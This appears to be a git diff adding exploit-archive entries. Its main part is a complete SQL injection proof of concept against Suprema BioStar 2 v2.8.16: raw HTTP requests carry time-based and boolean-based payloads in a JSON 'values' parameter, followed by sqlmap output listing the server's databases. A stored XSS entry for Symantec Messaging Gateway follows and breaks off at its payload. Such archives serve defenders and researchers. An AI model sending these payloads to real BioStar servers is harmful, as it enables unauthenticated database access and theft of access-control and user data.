+https://nvd.nist.gov/vuln/detail/CVE-2023-22232
+https://helpx.adobe.com/security/products/connect/apsb23-05.html
\ No newline at end of file
diff --git a/exploits/multiple/webapps/51340.txt b/exploits/multiple/webapps/51340.txt
new file mode 100644
index 000000000..0aa7d0463
--- /dev/null
+++ b/exploits/multiple/webapps/51340.txt
@@ -0,0 +1,97 @@
+# Exploit Title: Suprema BioStar 2 v2.8.16 - SQL Injection
+# Date: 26/03/2023
+# Exploit Author: Yuriy (Vander) Tsarenko (https://www.linkedin.com/in/yuriy-tsarenko-a1453aa4/)
+# Vendor Homepage: https://www.supremainc.com/
+# Software Link: https://www.supremainc.com/en/platform/hybrid-security-platform-biostar-2.asp
+# Software Download: https://support.supremainc.com/en/support/solutions/articles/24000076543--biostar-2-biostar-2-8-16-new-features-and-configuration-guide
+# Version: 2.8.16
+# Tested on: Windows, Linux
+# CVE-2023-27167
+
+## Description
+A Boolean-based SQL injection/Time based SQL vulnerability in the page (/api/users/absence?search_month=1) in Suprema BioStar 2 v2.8.16 allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "values" JSON parameter.
+
+## Request PoC #1
+'''
+POST /api/users/absence?search_month=1 HTTP/1.1
+Host: biostar2.server.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
+Accept: application/json, text/plain, */*
+Accept-Language: en-GB,en;q=0.5
+Accept-Encoding: gzip, deflate
+content-type: application/json;charset=UTF-8
+content-language: en
+bs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548
+Content-Length: 204
+Origin: https://biostar2.server.net
+Connection: close
+Referer: https://biostar2.server.net/
+Sec-Fetch-Dest: empty
+Sec-Fetch-Mode: cors
+Sec-Fetch-Site: same-origin
+
+{"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(4)))a)",4840,20120]}],"orders":[],"total":false}}
+
+'''
+
+Time based SQL injection (set 4 – response delays for 8 seconds).
+
+'''
+
+## Request PoC #2
+'''
+POST /api/users/absence?search_month=1 HTTP/1.1
+Host: biostar2.server.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
+Accept: application/json, text/plain, */*
+Accept-Language: en-GB,en;q=0.5
+Accept-Encoding: gzip, deflate
+content-type: application/json;charset=UTF-8
+content-language: en
+bs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548
+Content-Length: 188
+Origin: https://biostar2.server.net
+Connection: close
+Referer: https://biostar2.server.net/
+Sec-Fetch-Dest: empty
+Sec-Fetch-Mode: cors
+Sec-Fetch-Site: same-origin
+
+{"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}}
+
+'''
+
+Boolean-based SQL injection (payload “1 and 3523=03523” means “1 and True”, so we can see information in response, regarding user with id 1, which is admin)
+
+'''
+
+## Exploit with SQLmap
+
+Save the request from Burp Suite to file.
+
+'''
+---
+Parameter: JSON #1* ((custom) POST)
+ Type: boolean-based blind
+ Title: AND boolean-based blind - WHERE or HAVING clause
+ Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}}
+
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(7)))a)",4840,20120]}],"orders":[],"total":false}}
+---
+[05:02:49] [INFO] testing MySQL
+[05:02:49] [INFO] confirming MySQL
+[05:02:50] [INFO] the back-end DBMS is MySQL
+back-end DBMS: MySQL > 5.0.0 (MariaDB fork)
+[05:02:50] [INFO] fetching database names
+[05:02:50] [INFO] fetching number of databases
+[05:02:54] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
+[05:02:55] [INFO] retrieved: 2
+[05:03:12] [INFO] retrieved: biostar2_ac
+[05:03:56] [INFO] retrieved: information_schema
+available databases [2]:
+[*] biostar2_ac
+[*] information schema
+
+'''
\ No newline at end of file
diff --git a/exploits/multiple/webapps/51342.txt b/exploits/multiple/webapps/51342.txt
new file mode 100644
index 000000000..5a441247e
--- /dev/null
+++ b/exploits/multiple/webapps/51342.txt
@@ -0,0 +1,46 @@
+# Exploit Title: Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS)
+# Exploit Author: omurugur
+# Vendor Homepage: https://support.broadcom.com/external/content/SecurityAdvisories/0/21117
+# Version: 10.7.4-10.7.13
+# Tested on: [relevant os]
+# CVE : CVE-2022-25630
+# Author Web: https://www.justsecnow.com
+# Author Social: @omurugurrr
+
+
+An authenticated user can embed malicious content with XSS into the admin
+group policy page.
+
+Example payload
+
+*"/>